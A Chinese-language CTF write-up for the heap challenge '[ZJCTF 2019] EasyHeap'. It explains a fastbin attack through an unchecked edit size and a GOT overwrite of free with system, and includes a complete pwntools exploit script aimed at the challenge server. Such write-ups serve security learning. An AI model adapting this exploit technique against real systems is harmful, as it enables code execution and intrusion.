关于题目名字为简单堆题但我觉得不简单我怀疑这题目在嘲讽我其实是自己太菜了这件事——[ZJCTF 2019]EasyHeap
经典的增删写的堆题
一个数组储存堆的位置,但是free的时候会将数组中的指针清空,所以没有uaf漏洞
edit函数竟然让我们自己输入size,还没有限制,那就可以通过修改got表了
这里看起来有一个后门函数,但是后来发现其实没什么用,这里假装有用
思路就是修改数组中堆的地址,将地址改为put的got表,然后通过edit修改got表中的指针为后门函数
然而后门函数其实并没什么用,运行后发现根本没有这个路径,纯粹坑人的,这里忘了截图了(我真的吐出来)
那么还是一样的思路,将free的got表改为system的地址,然后将堆里写入“/bin/sh”通过调用delete函数就可以得到shell
exp:
from pwn import *
#p=process("./easyheap")
p=remote("node3.buuoj.cn",28894)
def create(size):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Heap :")
p.sendline(str(size))
p.recvuntil("heap:")
p.sendline("aaaa")
def edit(index,size,content):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",str(index))
p.sendlineafter("Heap :",str(size))
p.sendlineafter("heap :",str(content))
def delete(index):
p.sendlineafter("choice :","3")
p.sendlineafter("Index :",str(index))
addr=0x6020ad
size=0x71
payload='a'*0x18+p64(size)+p64(addr)
create(20)
create(96)
delete(1)
edit(0,40,payload)
create(96)
create(96)
addr2=0x602018
addr3=0x400700
payload2='a'*0x23+p64(addr2)
edit(2,48,payload2)
edit(0,32,p64(addr3))
payload3="/bin/sh"
edit(1,20,"/bin/sh")
delete(1)
p.interactive()
~